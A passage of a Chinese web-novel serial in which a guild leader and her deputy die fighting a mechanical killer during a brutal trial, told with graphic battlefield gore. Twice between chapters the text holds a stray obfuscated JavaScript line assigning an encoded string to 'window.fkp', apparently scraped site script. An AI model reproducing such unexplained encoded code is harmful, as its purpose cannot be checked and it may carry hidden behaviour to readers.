这四款机械的加入使考验变得步履坎坷、难上加难。再加上星流考验第一阶段的五款机械,这使得考验难度远超都市人的想象。原本自信满满的挑战者队伍迎来沉重打击,原本声势浩大的大团体也在机械的围攻下支离破碎。战场上的机械还未清理完,挑战者队伍就只剩下了一半。战场就是这样残酷,每一秒都是生离死别。这次考验的血腥程度远超之前,更多的人类残体、更多的血腥景象、更多的死亡场景、更多的绝望与无助。即便是经历各大事件的都市之星,见到这样的景象也无不感叹考验的残酷程度。 那一天,考验地里没有难闻的硝烟,只有恶臭的血腥味。考验地里飘来血雾,雾中站着的不知是人是鬼。各自认识的尸体,前一秒死去,后一秒挺立,也许是对故人的思念,勾起了人们淳朴的幻想。幻想过后,血雾散去,只留得一地残尸,还有数不尽的泪滴。 在战场上最后一只机械倒下后,战场迎来了少有的平静。此刻挑战者数量只有原来的三成,剩余七成人都已命丧黄泉。挑战者队伍中保留最完整的团体只有苍蓝之翼协会和末路之剑协会。其中苍蓝之翼的受损状况要优于末路之剑,但也都到了要整队撤离的地步。无数人牺牲换来了考验落幕的前兆,这场堪称噩梦的考验终于要迎来落幕。战场内的挑战者无不暗自庆贺他们来之不易的胜利,有的相拥而泣、有的握手言欢、有的举着武器高喊、有的甚至唱起了歌。只可惜这一切很快被倒计时的出现打断了。 原本还有二十四分五十六秒的倒计时突然开始增数,然后很快达到三十分钟整。见到这一幕的挑战者们都惊呆了,他们隐隐预料到事情的不简单。就在这时,一股奇异的能量涌入每位挑战者的体内,然后所有挑战者仿佛被治愈了一般,身上的伤都好了一半。这就意味着,更强大的目标即将出现。就当考验者为此惊喜又为此担忧时,坐在悬浮椅上观察战场的斯格玛突然发话了。 “星流考验第二阶段的谢幕即将开始。你们有五分钟休息时间。五分钟之后,我将释放我的强力机械与你们作战,望你们通过考验。” 说完,倒计时数重整为五分钟并开始倒计时。这五分钟刚开始的时间里,挑战者人群有些慌张,一时顾不得休息,纷纷去想接下来的应对策略。但很快,挑战者们就意识到了,若放弃这五分钟的休息,他们今生也许将再无休息时间。于是乎,近一半的挑战者选择了休息,而少部分还在继续琢磨应对策略。 五分钟过去,谢幕开始了...... 汽车大的飞碟飞入挑战地中央的天空,紧随而来的是一道耀眼的闪光。闪光之后,一个魁梧的四足双臂的类螳螂军械战士出现在战场之中。短暂的停歇之后,军械战士进入战斗模式。与之同样的,还有场上幸存下来的挑战者们。 “星界的耀光洒满你的面颊,斩夺星辰的光刃闪闪发亮,回旋的紫耀攀山你的脊柱,你意识到你遇到大麻烦了.......”五彩斑斓的星流之光从军械战士身上冒出,能量汇聚成的绚烂花火涌现在它的核心周围,来自斯格玛的力量遍及它的全身。星流之光自推进器喷口飞泄而出,一对帅气的三分叉光缕之翼悄然形成,一个恐怖的机械煞星就赫然屹立在众挑战者面前。 “FS-GcR-0217星流斩杀者载入战场......” 星流斩杀者高抬双臂,亮出它能斩夺星辰的毁灭双袖剑。此剑一出,吓坏一众挑战者。他们从未见到过,长度比肩一层楼,却还如火焰般缥缈、奥妙的武器。它可以变换形态的手臂,此刻都转变了形态。一双坚实有力的机械手转眼间变成威力巨大的轰杀炮和神秘莫测的滞留炮,这着实惊到了挑战者们。 正当考验者惊讶之时,只听得星流斩杀者说了一句: “伤害逆化力场生效中,三十秒后解除力场,正式开启精英目标挑战。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十二话:星流考验(其三) 与此同时...... 在三角协会的总部的秘密房间里,耀星国管理员弗正监控着星流考验的实时动向。她的都市之眼艾芙琳在一旁恭候,这是工作的一部分。 艾芙琳: “管路员大人,详细数据已经探测完毕。” 弗: “汇报详细数据。” 艾芙琳: “是。” 艾芙琳将详细数据上传到弗的义眼中,随后在弗眼中呈现。看到星流斩杀者模样的瞬间,弗饶有兴趣地笑了笑。 艾芙琳: “星流斩杀者,身高4.2米,体重预计980kg,配备三合一加一多功能机械臂和3.77马赫级推进器,整体由未知高硬度合金打造,几乎抵抗一切又具有媲美碳素钢材料的硬度。三合一加一多功能机械臂,兼具单体与群体打击能力,还具备海陆空三栖作战能力。总体而言,星流斩杀者的强度需五星都市之光、六星顶级调解人以及收尾人这样强度的目标出面处理。” 弗: “听起来......这个斯格玛可真有来头。” 艾芙琳: “根据我们的情报。这些还只是斯格玛造的小玩具,他真正的造物远比我们见到的要强大。据说,他的武器能毁灭整个世界......” 弗: “很好,非常好。继续观察,有任何风吹草动及时汇报。” 艾芙琳: “是。” 弗拿起一旁桌上一个红彤彤的大苹果,然后轻轻地咬了一口。 弗: “我猜,寰应该比我更重视斯格玛问题。求荣者的乐趣,我这样的理事人是不懂滴。哈哈哈......” “斯格玛......我们真是对你越来越感兴趣了呢。” 说完这话,一封密件传入艾芙琳之后,艾芙琳看过密件等级后立即转交给弗。弗受到密件后打开一看,顿时惊掉了下巴。密件中赫然写着月读归来的详细事情经过,还透露了月读目前的位置。这对于弗来说是天大的惊喜。弗一直以为月读在多年前逝世,属实没想到月读活了下来。 弗: “师娘!想不到您竟然还活着。太好了!” 弗将密件发给艾芙琳,并吩咐她: “将这密件偷偷交给我哥哥。小心别让Z公司那群家伙看到!” 艾芙琳点点头,说: “明白,管理员大人。” 艾芙琳正要走,弗突然叫住了她。 “慢着,艾芙琳,你过来一下,我有些事要跟你说一下......” 艾芙琳一愣,随后走到弗身旁。弗做了个手势,艾芙琳把头伸了过去。弗在艾芙琳小声说: “明天休假半天,你陪我玩半天。” 艾芙琳小声询问道: “又要做那种事吗?” “当然。” “幼稚但快乐的游戏,实在是有些......难以让人抗拒呢。嘻嘻......这次还去游乐场吗?” “不,这次去郊外新开的蝴蝶乐园。” “真让人期待呢。” “你这次有什么愿望?回头别忘告诉我呦。” “好的。我回去想一想。” “啾咪,我的眼最可爱了。” “讨厌,主人别在公共场合夸人家,人家会不好意思啦。” 就在两人说悄悄话的时候,弗的代行者E走了过来。 “咳咳!” 艾芙琳听声音,立即辨别出对方的身份。艾芙琳在弗耳旁留下一句:“回头去你家商量”后便带着密件离开了。E见到两人刚刚稍显亲密的举动,自然知道是怎么回事,他对此已经习以为常。见到E到来,弗赶忙问道: “出什么事了吗?” E回答道: “其他管理员通知您,十五分钟后有一场针对斯格玛事件的会议,请您务必参与。到时候,会有其他嘉宾参与。” 弗回应道: “我知道了。” 接着,弗继续兴致勃勃地观看大屏幕上的考验直播。 与此同时,考验地上是一片惨烈的景象。 星流斩杀者如杀神降世,只是三分钟过去就有二十位骁勇善战的勇士葬身在它的刀下。这样的人员阵亡频率预示着战斗将走向颓唐路,众人的末路也即将来到。星流斩杀者势不可挡,任何掩体都扛不住它一刀,挑战者面对它毫无喘息的机会。它如撕开布料的裁布刀裁开挑战者的队伍,再根据实力强弱逐个击破,很快就瓦解了挑战者构成的铜墙铁壁。 媲美雷电的速度、秒杀一切的刀锋、精准有力的轰炮、硬如钻石的外壳、犀利有神的两对眼,这其中任何一条都可以要了挑战者的命,更何况都加在一起还相辅相成了。这样强大的敌人,挑战者们都是第一次见。挑战者们根本没有应对经验,因为它根本不是那些愚钝的扭曲生物!而是一个与人类相似的机械战士。可怜的挑战者只能边战边琢磨应对它的攻略。 这时在苍蓝之翼这边,会长珍柯塞娜正带领七人小队与星流斩杀者周旋。凭借重武器与队友的拉扯、配合,他们和其他挑战者一起卸掉了星流斩杀者身上三成的护甲,使它的弱点暴露了出来。可这仅是攻打星流斩杀者的第一步。护甲之下的本体也依然硬的吓人,更致命的是星流斩杀者每损失一块护甲都会进入短时间的狂暴模式。一狂暴,就会有挑战者遭殃。 珍柯塞娜心想:“这是无可奈何的事情,总要有人牺牲”可心里又止不住地在喷涌愧意。明明那些人和她没有关系,可她却会那些人的死难过。尤其是看到队友在自己眼前离世的时候,她的难过到落泪。她一遍又一遍劝说自己冷静,可越劝她越难以冷静。心中的冲动是真切的,那份想法也是真实的。她没办法让自己拒绝心中的声音,更无法戴上原本的面具。每当她想沉默,她都会想起战场上的惨状,还有那些努力活下去的人们,最后联想到自己最珍视的奥安然。想到这些,她更无法压抑自己的情感。 珍柯塞娜心里: “为什么?为什么我没法停止思考。我需要冷静!可......我真的能对他们视而不见吗?我有我的奥安然,那他们也有他们的家人。我若是一味在乎自己,别人若也和我一样,敢问还有人会在乎别人的生死吗?若真的那样,我对安然她们的爱是否就没了意义呢?” 珍柯塞娜的核心发出阵阵微鸣,她的情感与核心产生了共鸣。属于她的Emw和EmA渐渐有了雏形,代码3微妙的力量参与到塑成过程中。她的核心能力逐渐产生,又一位EcL要诞生了。 与星流斩杀者的战斗是无比艰难的,两方实力悬殊的差距难以用数量来弥补。星流斩杀者对单对群有不同的策略,这样的灵活性令所有挑战者为之震惊,这也使得战斗极为艰难。这是她打过最难的一场战役。 战斗中,她目睹队友一个又一个离去,不是因为她的指挥失误,就是因为星流斩杀者狡猾多端。面对队友一个接一个的离世,她只能在心里默默惋惜。当下严苛的战斗环境中,能活下来都已经很不容易了。 在一次七人组队冲锋的时候,一位队员被迎面袭来的榴弹击倒。趁榴弹未爆炸,这位队员升起护盾挡在队伍后面,只听得一声巨响,那位队员的上半身落在一旁的土堆上。他浑身是血、奄奄一息,可他并未顾及自己严重的伤势,只是嘴里反复念叨着:“别管我,冲锋阵型不能乱!计划,注意计划。”尽管十分不舍,但其他队员还是按照原定计划进行冲锋。不一会,这位队员就悄悄咽了气。 队员的死刺激着珍柯塞娜的神经,她知道必须迅速摧毁星流斩杀者,可计划要一步一步走,没人知道何时这位机械杀神才会倒下。没等珍柯塞娜从前一位队员死去的痛苦之中缓过来,又一位队员倒下了,而这次是就地轰杀。历史总是惊人的相似,不久前就有一位队员这样突然的离世。一炮,又是一炮,两位队员惨死当场。七人队伍一时只剩下三人。冲锋之后的列阵进击效果甚微,只是起到了牵制作用,根本没有伤害到星流斩杀者几分。 见此,珍柯塞娜带人回撤。没想到回撤的时候,星流斩杀者发动突然袭击。没等珍柯塞娜等人反应,两位上前接应的会员就替他们含恨黄泉。这一刻,珍柯塞娜真正意识到了生命的脆弱,也终于感受到无法遏制的愤怒。珍柯塞娜临时改变计策,带领两位手下与星流斩杀者周旋,趁对方保持近距离作战模式,拼了命地为死去的战友报仇。珍柯塞娜的计策得到了一定的成功,星流斩杀者被其伤害到。只可惜珍柯塞娜多贪了一刀,致使她的两位手下未能及时撤离。星流斩杀者暴起,对她其中一名手下使出威力巨大的裂空斩。面对此情此景,珍柯塞娜再也无法遏制心中的情感,她发了疯似的冲上去,一个飞踢踹走会员。此时逃跑已经不大可能,珍柯塞娜干脆自己一人直面星流斩杀者的刀锋。 “休想伤害我的家人!” 珍柯塞娜怒吼道。随后,珍柯塞娜拼尽全力正面迎击星流斩杀者,这一刻她的背影中散发着刚毅的光辉。刀光剑影、闪光爆发,布满星辰的剑气之下散落破碎的能量盾壁,盾壁之下是折断的灵鸟刀和浑身是血的女战士。看到这一切的会员本想冲上前去救走会长,可追击而来的星流斩杀者逼迫他们放弃了这个念想。 “会长!该死的......我们一定会救你!会长。” 远处的会员呼喊道。珍柯塞娜听到声音,默默地闭上了眼并屏住呼吸,她不想让队员上来救自己,因为那现在意味着送死。于是她就干脆装死蒙骗一众会员,等她恢复了再起来战斗。可她没想到,心腹的一阵剧痛却让她的伪装变成了现实。没等她做出任何决定,她就两眼一黑昏死了过去。 当她再次睁开眼,她已然置身无穷的黑暗。这里是她心中最宁静的地方,也是她唯一一处能敞开心扉的地方。 “可恶,要死掉了吗......” “明明什么都没有完成,却要这样草草离世。真是不甘心呢......” “我还能做些什么......为了我的家人。” “我不甘心就这样死掉!” “......” 她回想起了自己的一生,又回想起了那些令她在乎的东西。接着,朋友的笑脸、家庭的和睦、工作的多样等物出现在她的眼前。那些事物引起她强烈的情感波动,这正是Emd装置产生能量的根源。 “安然......老公......师傅......苍蓝之翼的各位......” “我想你们都将希望押注在我身上了吧,可我又一次让你们失望了。你们会讨厌我吗?还说说对我恨之入骨?” “对不起......” “诶呀!我在说什么呀?珍柯塞娜,这可不像你。现在还不是说放弃的时候!大家还需要我呢......” “站起来,珍柯塞娜。站起来!珍柯塞娜。” “......” “看样子,是我的肉体到达极限了。该死的!” “真的没有任何办法了吗?” 那一刻她想过放弃,直到她看到了那张写满回忆的苍蓝之翼全体人员的合照,她才鼓起勇气,选择直面恐惧。那一刻,她的心里仿佛燃烧起了一团火焰。强烈的斗志汇聚成她身上的光,她置身黑暗却犹如群星。 “不......” 青色的战衣穿在她的身上...... “只要我还有最后一口气,就没理由选择放弃。” 苍蓝色的羽毛点缀在战衣上,一对苍蓝之翼在其背后悄悄展开...... “传闻中的苍蓝之翼,可不是懦弱的团体!” 发尖的棕褐色慢慢染上坚毅的苍蓝之韵,一头棕褐色的长发摇身一变成为美丽夺目的双色秀发...... “我决不允许苍蓝之翼的尊严遭到践踏!” 一顶蓝羽金顶的羽冠戴在她的头上,她守护他人的决心得到了回应...... “来吧......这也许要我拼上性命,但为了大家,我在所不惜!” 黑暗之中,一把造型奇丽的双头刀回应了她的呼唤。它从远方飞来,一把落入她的掌中。拿到双头刀的那一刻,她浑身充满了力量。她为这把双头刀取名为:“远曙”,寓意远处的曙光。 “自己的幸福、大家的幸福、人类的幸福......” 此刻,她打破自身桎梏,拥抱了纯真的自我。独属于她的Emw和EmA闪亮登场,她的核心能力也已形成。很巧的是,这份能力的名字就叫“苍蓝之翼”,她现在的形象也印证了这一点。 “不管是为了谁的幸福,这一战终将由我收尾!” 黑暗在最后一刻变为了光明,现实中也有一道光出现在她的身上,那道光名为“人类的赞歌”。闪光出现后,所有人都目瞪口呆。因为在都市里这道光意味着奇迹发生,只有真正强大的信念加上合适的核心才能诱发这道光降临。 “苍蓝之翼,所向披靡!” 随着这句自信的话传入众人的耳中,新生的珍柯塞娜闪亮登场。 见到珍柯塞娜重回战场,众人喜出望外。没等众人向新生的珍柯塞娜问好,急性子的珍柯塞娜就飞奔向星流斩杀者。歘的一下,星流斩杀者的后脑勺遭受到致命袭击,一块护甲当时脱落。吃下这一击后,星流斩杀者转身与珍柯塞娜缠斗。珍柯塞娜一人拦下了堪称机械杀神的星流斩杀者,这一举动震惊了在场的众人。珍柯塞娜与星流斩杀者激烈战斗之时,一旁的众人趁机用枪械与重武器输出伤害。星流斩杀者的程序首次出现漏洞,星流斩杀者被迫将注意力全放在珍柯塞娜身上,从而无法顾及远处猛烈的火箭弹与倾泻的弹雨。 可人终究是有极限的。奈何星流斩杀者太过于坚毅,珍柯塞娜与星流斩杀者的消耗战最终以失败告终。艰苦的几轮战斗后,珍柯塞娜涌现出疲意,动作稍稍慢了一些,星流斩杀者抓住这个机会,对远处火力输出的众人释放轰杀。珍柯塞娜一个不留意,远处三名挑战者就化作血雾饮恨西北。珍柯塞娜顿时暴怒,冲上前去猛击星流斩杀者,殊不知这样的鲁莽只会让她和她的战友暴露更多破绽。 几轮猛烈的泄愤式攻击过后,倒下的却是她两位无辜的战友,她又一次为自己的鲁莽付出了代价。队友一位又一位接替上来,可战局却一步步向着失败走去。她不明白为何,只是一味地宣泄愤怒,无意间却造就了更多人的离去。只可惜她并非超人一样的体魄,长时间高负荷的战斗令她的肉体出现了问题。渐渐地,她感到力不从心,战斗节奏也慢慢减缓下去。直到她只剩下赌命的力气时,她才真正让自己冷静下来。只是这冷静的代价,又是几位战友离去。所幸星流斩杀者此时已经中度受损,再努力一段时间她和挑战者们就能让星流斩杀者报废。 面对面前奔袭而来的星流斩杀者,气喘吁吁的珍柯塞娜笑了笑。珍柯塞娜挥舞起手中的双头刀,准备赌上自己的生命来牵制星流斩杀者。这一刻,她的幸福便是所有人的幸福。珍柯塞娜大喊一声:“星流斩杀者,纳命来!”随后箭步奔向星流斩杀者,直面恐惧。 此时,远处用火枪攻击的奥安然见到了这一幕。看到会长即将支撑不住但还在辛苦战斗的身影,奥安然再也无法按耐心中的冲动,她决定去帮助会长。奥安然打光枪中的子弹,随后号召身旁的几位会员,准备动身去帮会长。 奥安然: “会长!” 克洛德急忙拦住了奥安然和那几位会员。 克洛德: “安然!” 奥安然激动地说: “克洛德副会长!你干嘛?” 克洛德怒斥道: “你这是在贸然送死!” 奥安然激动地说: “会长有危险,我们应该上去救她!” 克洛德严肃地说: “遵守协会内的规定,没有指示不能贸然行动!” 奥安然辩解道: “可协会规定的第一条明明清晰写着:‘以人为本,救人为先。遇事保安全,遇敌护周全。’。会长还在等待我们的帮助。我们必须去救她!” 克洛德细细想了想,他明白自己该做的事了。此刻,他做好了觉悟。克洛德故作仁慈地说: “你说的没错......” 奥安然快步走到克洛德后方,准备带人行动。 “快,我们......啊!” 奥安然惨叫一声,随后重重地倒下。克洛德迅速接住奥安然倒下的身躯,并将她安放到了一处安全的地方。就在刚刚,克洛德用蓄能击晕短棍击晕了奥安然。他之所以这样做是因为与会长珍柯塞娜的约定,更是因为他作为副会长的职责。从进入苍蓝之翼的那一天开始,他就在等待这一天的到来。 克洛德冷冷地说: “只是负责来去做这件事的,不该是你这个菜鸡。” 克洛德扛起战锤,大声号召会员,准备代替奥安然执行救人计划。 “你们几个还能跑的,跟我来!我们去支援会长。” 被号召过来的人异口同声地说: “好!” 出发前,克洛德对正在奋战的会员们满怀愧意地说: “大家,原谅我和会长的自私......” 这时,奥安然做了一场梦。她梦见自己和会员们救下了会长,还与副会长他们一起打败了星流斩杀者。之后她们欢欢喜喜地回到协会,筹备几天后喝喜酒的事。最后她荣幸的成为会长婚礼上的伴娘,有幸亲身参与到婚礼这一盛大活动中。她还美美的亲了会长的脸一口,又在她耳旁说出不一样的祝福语。这样美的梦,她不由得陶醉在其中。可这只是梦...... 此时,克洛德带人赶来,支援会长珍柯塞娜。 见此,珍柯塞娜不解地问: “你们凑上来干什么?” 克洛德笑着回答: “废话,帮你啊!” 珍柯塞娜感动地说: “操!你还知道啊。” 克洛德微笑道: “当然,说好了一起回去的,怎么能让你这主角留在这儿呢?” 来不及感动,星流斩杀者的轰炮又一次打来。躲过轰炮后,珍柯塞娜高喊道: “大家伙儿注意!按照平时训练的t5阵型,准备随我冲锋!” 众会员回应: “明白,会长!” 珍柯塞娜鼓舞会员道: “相信我,团结就是力量!” 接下来的战斗里,克洛德等人的到来帮珍柯塞娜减少了战斗压力,也让珍柯塞娜有了必胜的决心。珍柯塞娜与身边的会员相互配合,又一次打出精彩绝伦的组合技。局势又一次逆转,命运的天平这次终于倾倒向苦命的挑战者们。有了苍蓝之翼协会打头阵吸引注意,后方其余挑战者能愉快地进行远程攻击。一前一后,一近一远,挑战者的配合堪称完美。 可人终究是有极限的。珍柯塞娜的肉体无意中达到了负载极限,珍柯塞娜突发内伤,坚强的她无奈地停步休息。一时苍蓝之翼进攻节奏被打乱。星流斩杀者也趁此机会,汇聚能量准备再次释放裂空斩。珍柯塞娜拼尽全力挪动身体,可非但没能做出撤退动作,还撕裂旧伤引发二次内伤。珍柯塞娜口吐鲜血,颤颤巍巍地怒视前方。这一刻,她流下了不争气的泪水。 星流斩杀者背后的推进器开启最大功率,它不顾一切冲向了珍柯塞娜,准备了结这位挑战者的奇迹。一路上各位会员极力阻拦星流斩杀者的步伐,可都被它轻易破解了。远处的枪队和重武器联队急忙加大火力,其他用猛烈的攻势拦住星流斩杀者,可这并没有起到任何效果。 星流斩杀者靠近珍柯塞娜后,汇聚能量、打开胸腔挡板,然后亮出体内的能量炮。能量炮自动锁定了珍柯塞娜,然后很快完成了90%的蓄能。就当所有人认为珍柯塞娜死定了的时候,一声警告改变了这一切。 “会长!小心。” 克洛德捡起一旁的钩索枪,向着星流斩杀者开出关键性的一枪。克洛德依靠钩索快速靠近星流斩杀者,随后抡起手中的战锤,释放战技亚空重击。这一锤,将星流斩杀者锤翻在地,成功为珍柯塞娜解了围。可两人还没高兴多久,星流斩杀者一个翻滚快速起身,能量炮立即锁定了克洛德,并随即向克洛德发射蓄势完毕的星流激光。克洛德没时间躲避,预瞄性的激光已经锁定了他。克洛德与珍柯塞娜深情相望,他笑了,说: “克洛德,完成任务......” 克洛德带着对战友的不舍,一把扔出手中的战锤,随后坦然迎接自己的命运。一道五彩斑斓的激光打来,克洛德站在原地,刹那后他坠入光的海洋,之后无声地化为了灰烬。目睹这一幕的珍柯塞娜无比痛心,她发誓要为克洛德报仇。 珍柯塞娜痛苦地说: “啊!!!克洛德!星流斩杀者,我要杀了你!!!” 珍柯塞娜陷入怒不可遏的状态,她彻底丧失作为指挥官的理智,只剩下一味报仇的疯狂。珍柯塞娜不顾队友阻拦,发了疯似的猛击星流斩杀者。星流斩杀者头一次被挑战者打得后退,这令观战的斯格玛大为震撼。斯格玛调用资源分析珍柯塞娜的数据,短暂的合成计算后得出了新的结论。 斯格玛: “Emd装置既通过人类的情感产生源源不断的能量,也会放大人类的情感而使人极易陷入极端状况。这就像一把双刃剑,有利有弊。Emd核心装置......它使残忍的人变得多愁善感,也使善良的人变得极端两面化。这便是......科学啊。” 只可惜一味地泄愤最终会导致自我的灭亡,珍柯塞娜也没逃得过陨落的命运。最终她一番努力消耗掉星流斩杀者许多护甲,以一己之力推动挑战者整体击败星流斩杀者的进度。但自身也因为过高强度的战斗而濒临死亡。新旧伤疤同时作痛,珍柯塞娜痛并坚持着。眼看星流斩杀者被一颗火箭弹轰倒在地,珍柯塞娜意识到终结对方的机会已经来到。她不顾身上的伤,执意要与星流斩杀者死战到底。 珍柯塞娜拿出仅有的一支核心细胞液,随后为自己注射。注射完毕后,珍柯塞娜的核心以最高频率运作。强大的核心能量既在治愈着珍柯塞娜的肉体,也在摧毁着珍柯塞娜的肉体。保持核心高功率长时间运作会致使核心内质迅速升温直至引发严重的核心融毁事故。死于核心融毁的人平均每天有138个,这是一项不容小觑的事故。经历漫长的战斗,珍柯塞娜的核心已经处在融毁边缘,再注射核心细胞液无异于急性自杀。可珍柯塞娜已经顾不了这些了!仇恨早已经将她吞噬。 珍柯塞娜疾步向前,遂后一跃而起,在半空中对着倒地的星流斩杀者释放她倾尽全力的必杀技。这一击,将消耗掉她目前78%的核心能量,并且可以对星流斩杀者造成致命打击。必杀技释放时她无处可逃,这意味着她要赌上自己的性命。输与赢结果一目了然,这将是命运的收尾。 珍柯塞娜高喊道: “接下我这最后一击吧......” 她话还没说完,谁料这时倒地的星流斩杀者突然恢复了过来,不过它并未起身躲避,而是选择跪坐着正面迎接。星流斩杀者再次打开胸腔挡板,准备故技重施。能量炮再一次开始蓄能,只是这一次要比上一次要快。快速蓄能的代价就是高额的热量累积,为此它需要打开浑身的散热板。散热板一开,它的弱点就无所遁形了。霎时间,三十多把枪、十五把电磁炮、七把反机甲火箭跑都齐刷刷对准了星流斩杀者,准备发动一轮猛烈的攻击。 指挥开火的人没有下任何命令,但所有枪手、炮手的准线都未经过珍柯塞娜,这是他们对珍柯塞娜尊重。指挥开火的人在最佳时刻到来之前,特地嘱咐在场的每一位队员:“当心,别伤到那个女人”。随后拿起一柄狙击枪,默默瞄准了星流斩杀者的腿。 与此同时,星流斩杀者蓄能完毕,珍柯塞娜也结束了必杀技前的准备。星流激光出现在能量炮的炮筒之中,珍柯塞娜的刀斩出耀眼的蓝色剑气,霎时间两股风格迥异的耀光产生了对冲。迎接自己的命运之前,珍柯塞娜最后一次喊出了苍蓝之翼协会的口号。她高声道: “苍蓝之翼,永不言弃!” 一道耀眼之光迎面袭来,几乎所有的挑战者只看到了一抹白光。唯独一位戴着战术护目镜的枪手见到了那惹人敬畏的一幕。只见星流斩杀者的胸口喷涌着的、五彩斑斓的星流激光顷刻间将珍柯塞娜埋没,几乎是在同时,一道耀眼的苍蓝之光贯穿星流斩杀者的胸膛,自它背后的一个大洞飞泄而出。那道苍蓝之光的颜色,正是苍蓝之翼协会徽章的填充色。 白光闪烁之后,战场上只剩下了寂静。星流斩杀者遭遇重创,它的胸口正源源不断冒着黑烟。星流斩杀者执行既定程序,缓步起身准备继续战斗。没想到,密集的火力直接将它再度击倒在地。它的散热板未来得及全部关闭,就被火箭弹炸飞了出去。星流斩杀者释放轰杀反击,可在人多势众且火力极其凶猛的枪队面前,它的挣扎只会加快它的死亡。 最终,星流斩杀者在众人的乱枪之下躺倒在地,随后内部核心融毁发生小范围爆炸,就这样结束了乱杀的一生。星流斩杀者化成漫天飘落的粉尘,缓缓飘落在战场各处。这一刻,胜利的凯歌终于奏响。幸存下来的挑战者们沉浸在了胜利的喜悦之中,可唯独一人例外,那便是刚刚苏醒的奥安然。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十二话:星流考验(其四) 书接上文...... 刚刚苏醒的奥安然从其他会员口中得知了会长和副会长的死讯,天真的她不敢相信协会内如此重要的两人会死,于是亲自跑到刚刚的交战地上去找他们的踪影,几个关心她的会员跟她一起。她在交战地上翻找尸体与碎石堆,企图找到活着的二人。她的脸上明明流着泪,却还在满心希望的笑。 “会长?” 可她几乎翻遍了交战地上的每一个地方,始终没有见到二人的踪影,就连尸体都没见到。她不信邪,即便双手翻到血淋淋的样子,即便膝盖磕破浑身是伤,她也决心要找出失踪的两人。 “会长!” 她浑身泥泞,脸上已然失去了当初的阳光,可她的眼里还有一团倔强的火焰,那团火告诉她家人还在等她。她和一位要好的朋友在星流斩杀者殒命处附近寻找两人的踪迹,可找了半天依然是毫无结果。 “你在哪里?会长!会长!!!” 她的好朋友知道真相,却不忍心告诉她那一切。她的好朋友怕残酷的现实会伤到她的心,于是装作真相不存在,陪着她寻找两人的踪迹。所有人说的话奥安然都可以不信,唯独她最好朋友和会长的话不行。正因为知道这一点,所以她的好友才会装作无知。 “别吓我,别吓我啊!会长。” 当奥安然和她的好友走到星流斩杀者遗骸前时,奥安然似乎是看到了什么,她大叫一声: “啊!” 随后瘫软在地,一时间悲伤到连哭都哭不出来。一旁的好友见了,赶忙问: “怎么了?安然。是不是发现什么了?” 奥安然颤抖着说: “碧蓝色的羽毛......是会长,是会长.......” 一旁的好友顺着奥安然的目光看去,果然有几片未烧焦的羽毛静静躺在地面。从颜色、尺寸、色泽来分析,这正是珍柯塞娜衣物上的羽毛。而不巧的是,这几片羽毛上面都占有血迹。见到这一切的奥安然,再也无法欺骗自己的本心。她向现实妥协了,她承认会长及副会长的死去。这一瞬间,巨大的悲伤冲垮了这个天真少女的心,她的世界分崩离析。她痛苦地哭喊了起来,空荡的战场上回荡她一人绝望的哭声。那哭声具有传染力,听到后挑战者们情不自禁地难过起来。 “哇啊!呜啊啊啊啊......会长!呜呜呜呜......会长!呜呜呜......” 奥安然像捧起黄金珠宝一般捧起了这几片羽毛。看着手中色泽鲜艳的羽毛,奥安然忍不住地流泪。过往的一幕一幕刺痛着这位天真少女的心,曾视为终生依靠的羁绊如今落得破碎的下场,她的心里是难掩的悲伤。天大的悲伤啊!可惜她为之仅仅哭泣而已。 奥安然喃喃自语道: “谁想到,会长她......” 一旁的好友安慰道: “节哀。” 这时,一条青蓝色的发带随风飘来,掩面而泣的奥安然无意间接住了这条发带。奥安然突然意识到了什么,她拿开捂脸的手,紧紧地抓住这条发带并细瞻它几分。奥安然一眼就认出这是会长珍柯塞娜的发带。一时间,泪水涌上眼角,奥安然攥着发带跪坐在地,又一次哭了起来。 这时,斯格玛播报了一则重要消息。 斯格玛: “星流斩杀者已被挑战者清除,参与星流斩杀者一战的所有人都可获得2000积分的奖励。至此,星流考验第二阶段已经圆满结束。若想面对我真正的造物,请广大挑战者攒够4000积分。届时,星流考验的终局阶段将会到来。” 消息播报完后,考验地周围的能量力场消失了,拥抱胜利的挑战者们也一批一批的离开了考验地。这一次的胜利是毋庸置疑的,可也是鲜血淋漓的。 看到苍蓝之翼剩余会员慢慢离开,奥安然的好友对奥安然说: “安然,别哭了。带上会长的遗物,我们回家吧。” 奥安然没有理会她,继续低声哭泣。 “安然,我知道你心里难过。会长死了,没有一个人能很快释然的。大家都很难受,尤其是我们的副会长也......” 奥安然仍未理会她。 “安然......” 突然,奥安然站起身来,接着愤怒地撞了她一下,然后像个委屈的孩子一样哭着离开。 “哼!呜呜呜呜......” 她呼喊奥安然,可无济于事。 “安然!” 就当她也要离开之时,星流斩杀者遗骸处的一缕幽光吸引了她的注意。 “诶?这是......哇哦!” 出于好奇,她顺着那缕幽光寻去,意外找到了一份惊喜。 “天啊!我得回去把这个喜讯告诉安然......” 一个硕大的机械盒子摆放在星流斩杀者的遗骸处,箱盖上清清楚楚地写着:“斯格玛工艺——震之武装·星流斩杀者”几个大字。毫无疑问,这是星流斩杀者被击杀后的特殊奖励。所有人未能及时发现,原来第二阶段考验还有特殊奖励。 之后,她一人将这个机械盒子拉回了协会。 ...... 与此同时,在幸存者联盟国的某家餐馆内...... 看到电视上惨烈的星流考验第二阶段的直播,殇情不自禁地为战死者感到惋惜。殇看得很投入,桌上的面条凉了都不知道。 殇感叹道: “真是可怜的一群人呀。” 一旁莉莲提醒殇: “殇,别多愁善感了。赶紧吃吧!你都盯着电视看了小半个钟头了。你看看,面都凉了。” “哦,知道了。” 